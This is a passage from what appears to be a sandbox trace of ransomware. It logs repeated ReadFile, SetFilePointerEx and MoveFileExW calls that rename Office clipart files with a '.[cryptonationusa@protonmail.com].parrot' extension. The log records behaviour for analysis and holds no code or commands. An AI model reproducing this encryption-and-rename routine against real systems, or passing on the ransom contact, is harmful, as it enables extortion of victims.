dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.582] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.584] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2090, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2090, lpOverlapped=0x0) returned 1 [0151.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.590] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.591] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x280c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x280c, lpOverlapped=0x0) returned 1 [0151.592] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.598] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.598] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.599] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.600] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27c0, lpOverlapped=0x0) returned 1 [0151.602] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.606] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.606] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.608] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.608] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x238c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x238c, lpOverlapped=0x0) returned 1 [0151.609] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.613] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.615] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.615] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15fe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15fe, lpOverlapped=0x0) returned 1 [0151.615] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.620] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.620] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.622] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.622] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2926, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2926, lpOverlapped=0x0) returned 1 [0151.623] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.627] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.627] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.628] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ea0, lpOverlapped=0x0) returned 1 [0151.629] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.633] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.633] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.635] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f72, lpOverlapped=0x0) returned 1 [0151.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.639] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.639] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.639] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.674] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.674] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.676] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.676] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f74, lpOverlapped=0x0) returned 1 [0151.677] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.682] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.683] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.684] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e5c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e5c, lpOverlapped=0x0) returned 1 [0151.684] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.688] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.688] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.688] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.691] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.692] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.692] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3642, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3642, lpOverlapped=0x0) returned 1 [0151.693] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.697] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.697] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.698] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x476e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x476e, lpOverlapped=0x0) returned 1 [0151.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.703] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.703] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.705] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd8e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd8e0, lpOverlapped=0x0) returned 1 [0151.708] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.712] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.712] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.727] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10cb8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10cb8, lpOverlapped=0x0) returned 1 [0151.731] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0151.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.736] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.737] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.738] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 